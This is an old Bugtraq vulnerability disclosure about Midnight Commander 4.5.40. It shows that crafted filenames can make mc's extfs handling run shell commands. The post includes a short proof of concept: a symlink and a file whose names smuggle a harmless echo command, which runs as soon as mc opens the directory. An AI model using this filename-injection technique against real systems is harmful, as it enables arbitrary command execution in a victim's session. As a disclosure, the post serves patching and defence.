Bugtraq: mc bug

[lcamtuf () IDS PL (Michal Zalewski)]

Hmmm... mc 4.5.40.

~$ grep lslR /usr/lib/mc/extfs/extfs.ini
# For browsing lslR listings (found on many ftp sites)
lslR
~$ ls -l /usr/lib/mc/extfs/lslR
-rwxr-xr-x   1 root     root          635 pa¼ 18  1998 /usr/lib/mc/extfs/lslR
~$ ln -s /DoesNotExist ';echo>PROVE-IT;#lslR'
~$ touch ';echo>PROVE-IT;'
~$ ls -l PROVE-IT
ls: PROVE-IT: No such file or directory
~$ mc

(Surprisingly, you'll see directory instead of broken symlink. No need
 to do anything, immediately quit from Midnight Commander)

~$ ls -l PROVE-IT
-rw-------   1 lcamtuf  lcamtuf         1 lip 10 05:55 PROVE-IT

Nice - lslR fs support is only an example, of course.
